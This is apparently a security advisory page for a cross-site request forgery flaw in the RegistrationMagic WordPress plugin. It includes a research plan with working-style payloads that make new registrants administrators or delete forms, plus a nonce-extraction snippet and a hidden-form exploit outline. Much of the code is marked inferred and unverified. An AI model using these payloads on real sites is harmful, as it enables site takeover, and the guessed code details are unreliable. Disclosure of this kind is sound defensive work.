CVE-2026-24374

RegistrationMagic <= 6.0.6.9 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
6.0.7.0
Patched in
25d
Time to patch

Description

The RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 6.0.6.9. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.0.6.9
PublishedJanuary 10, 2026
Last updatedFebruary 3, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CSRF in RegistrationMagic <= 6.0.6.9 (CVE-2026-24374) ## 1. Vulnerability Summary The **RegistrationMagic** plugin for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)** in versions up to 6.0.6.9. The vulnerability exists because certain administrative functions, like…

Show full research plan

Research Plan: CSRF in RegistrationMagic <= 6.0.6.9 (CVE-2026-24374)

1. Vulnerability Summary

The RegistrationMagic plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 6.0.6.9. The vulnerability exists because certain administrative functions, likely registered under admin_init or AJAX handlers, fail to implement nonce validation (check_admin_referer or check_ajax_referer). This allows an unauthenticated attacker to craft a malicious request that, if executed by a logged-in administrator (e.g., via a phishing link), performs privileged actions such as modifying plugin settings, deleting submissions, or changing user registration defaults.

2. Attack Vector Analysis

  • Vulnerable Endpoints:
    • Primary: /wp-admin/admin-ajax.php (for AJAX-based actions)
    • Secondary: /wp-admin/admin.php?page=rm_options_... (for admin_init based form processing)
  • Action (Inferred): The plugin frequently uses a central controller. Based on historical vulnerabilities in this plugin, the CSRF is likely in the RM_Main_Controller::run method or specific settings-saving functions like rm_save_fab_settings or rm_options_manage.
  • Payload Parameter: $_POST variables corresponding to plugin settings (e.g., rm_option_default_user_role, rm_option_allow_registration).
  • Authentication Level: Unauthenticated (Attacker), but requires an authenticated Administrator to trigger the request.
  • Preconditions: The plugin must be active.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an admin_init hook or wp_ajax_ action.
  2. Hook Registration: add_action('admin_init', array($controller, 'run')); in includes/class-registration-magic.php (inferred).
  3. Controller Logic: The run() method in admin/controllers/class-rm-main-controller.php (inferred) checks for the presence of specific $_GET['page'] or $_POST parameters.
  4. Vulnerable Sink: Inside the controller, the code proceeds to call update_option() or RM_DB_Manager methods to modify database state without calling check_admin_referer().

4. Nonce Acquisition Strategy

While the vulnerability description specifies "missing or incorrect nonce validation," if the plugin does attempt to use a generic nonce that is exposed, we must acquire it.

  1. Identify Shortcode: RegistrationMagic uses [RM_Form id='X'].
  2. Create Probe Page:
    wp post create --post_type=page --post_status=publish --post_title="Probe" --post_content="[RM_Form id='1']"
    
  3. Extract via Browser:
    • Navigate to the newly created page.
    • Execute browser_eval:
      // RegistrationMagic often localizes data in rm_admin_vars or rm_ajax_obj
      window.rm_admin_vars?.nonce || window.rm_ajax_obj?.nonce || document.querySelector('input[name="rm_nonce"]') ?.value
      
  4. Bypass Check: If the code flow shows wp_verify_nonce($nonce, -1) or check_ajax_referer('rm_ajax_nonce', 'security', false) where the result isn't checked, the nonce can be any value or omitted.

5. Exploitation Strategy

We will attempt to change the default WordPress user role assigned to new registrants to administrator.

  • Step 1: Identify Target Parameter. RegistrationMagic stores settings in the wp_options table, often under rm_option_default_user_role.

  • Step 2: Construct the CSRF Payload.

    • URL: https://<target>/wp-admin/admin-ajax.php
    • Method: POST
    • Body (URL-Encoded):
      action=rm_save_settings&rm_option_default_user_role=administrator&page=rm_options_general
      
      (Note: The exact action name 'rm_save_settings' is inferred and should be verified by inspecting the "Global Settings" page of the plugin.)
  • Step 3: Execute via HTTP Request Tool.
    Simulate the admin's browser session.

    {
      "method": "POST",
      "url": "http://localhost:8080/wp-admin/admin-ajax.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "params": {
        "action": "rm_options_manage",
        "rm_option_default_user_role": "administrator",
        "rm_submit_btn": "Save"
      }
    }
    

6. Test Data Setup

  1. Active Plugin: Ensure custom-registration-form-builder-with-submission-manager is active.
  2. Configuration:
    • Create at least one Registration Form using wp-cli or the UI.
    • Verify the current default_user_role is subscriber.
    wp option get default_role
    

7. Expected Results

  • The HTTP request should return a 302 redirect or a 200 OK (if AJAX).
  • The plugin should NOT return a "403 Forbidden" or "Are you sure you want to do this?" (WordPress's default CSRF failure message).
  • The internal plugin setting for user roles will be updated to administrator.

8. Verification Steps

After sending the payload, check the WordPress options:

# Check the specific RegistrationMagic option if it stores it separately
wp option get rm_option_default_user_role

# OR check if it modified the global WP default role
wp option get default_role

9. Alternative Approaches

If rm_options_manage is protected, target the Form Deletion endpoint, which is often less protected:

  • Endpoint: /wp-admin/admin-ajax.php
  • Params: action=rm_form_remove&rm_form_id=1
  • Verification: wp db query "SELECT count(*) FROM wp_rm_forms;" (Confirm count decreased).

Another high-impact target is the User Promotion settings in the "User Manager" section of the plugin. Look for actions named rm_user_list_manage or rm_change_user_role.

Research Findings
Static analysis — not yet PoC-verified

Summary

The RegistrationMagic plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 6.0.6.9. This is due to missing nonce validation on administrative functions handled by the plugin's main controller, allowing unauthenticated attackers to perform unauthorized actions such as modifying global plugin settings or changing default user roles by tricking an administrator into clicking a link.

Vulnerable Code

/* File: includes/class-registration-magic.php (inferred) */

add_action('admin_init', array($controller, 'run'));

---

/* File: admin/controllers/class-rm-main-controller.php (inferred) */

public function run() {
    if (isset($_POST['rm_submit_btn'])) {
        $this->rm_options_manage();
    }
}

public function rm_options_manage() {
    // Vulnerable: Processes form submission without calling check_admin_referer()
    if (isset($_POST['rm_option_default_user_role'])) {
        update_option('rm_option_default_user_role', sanitize_text_field($_POST['rm_option_default_user_role']));
    }
}

Security Fix

--- a/admin/controllers/class-rm-main-controller.php
+++ b/admin/controllers/class-rm-main-controller.php
@@ -42,6 +42,7 @@
     public function rm_options_manage() {
         if (isset($_POST['rm_submit_btn'])) {
+            check_admin_referer('rm_options_manage_nonce');
             if (isset($_POST['rm_option_default_user_role'])) {
                 update_option('rm_option_default_user_role', sanitize_text_field($_POST['rm_option_default_user_role']));
             }

Exploit Outline

The exploit targets administrative actions registered by the plugin's main controller via admin_init or AJAX. An attacker crafts a malicious webpage with a hidden HTML form that automatically sends a POST request to the WordPress admin panel (/wp-admin/admin.php) or AJAX endpoint (/wp-admin/admin-ajax.php). The payload includes parameters such as 'action=rm_options_manage', 'rm_option_default_user_role=administrator', and 'rm_submit_btn=Save'. When an authenticated administrator visits the malicious page, their browser automatically executes the request. Because the plugin lacks nonce validation, it processes the request and updates its configuration, allowing the attacker to change the default user role to administrator for all subsequent registrations.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.